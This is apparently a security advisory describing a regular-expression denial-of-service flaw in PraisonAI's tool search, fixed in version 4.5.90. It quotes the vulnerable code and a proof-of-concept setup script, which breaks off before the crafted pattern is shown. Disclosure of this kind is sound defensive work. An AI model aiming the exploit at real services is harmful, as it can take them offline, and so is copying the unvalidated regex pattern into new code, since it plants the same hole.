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EUVD-2026-280513

2026-10-09T15:44:12.483255+00:00

EUVD-2026-280513

fkie_cve-2026-34939

2026-10-09T15:44:12.483299+00:00

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.

GHSA-8w9j-hc3g-3g7f — PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

2026-10-09T15:44:12.483333+00:00

Affected: PyPI: praisonai

### Summary

`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

### Details

`tool_index.py:365` (source) -> `tool_index.py:368` (sink) ```python # source -- query taken directly from caller, no validation def search_tools(self, query: str) -> List[ToolInfo]: import re

# sink -- compiled and applied with no timeout or exception handling pattern = re.compile(query, re.IGNORECASE) for tool in self.get_all_tools(): if pattern.search(tool.name) or pattern.search(tool.hint): matches.append(tool) ```

### PoC ```python # tested on: praisonai==1.5.87 (source install) # install: pip install -e src/praisonai import sys, time, json sys.path.insert(0, 'src/praisonai') from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server' mcp_dir.mkdir(parents=True, exist_ok=True) (mcp_dir / '_index.json').write_text(json.dumps([ {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"} ])) (mcp_dir / '_status.json').write_text(json.dumps({ "server": "test_server", "available": True, "auth_required": False, "last_sync": time.time(), "tool_count": 1, "error": None }))

from praisonai.mcp_server.tool_index import MCPToolIndex index = MCPToolIndex()…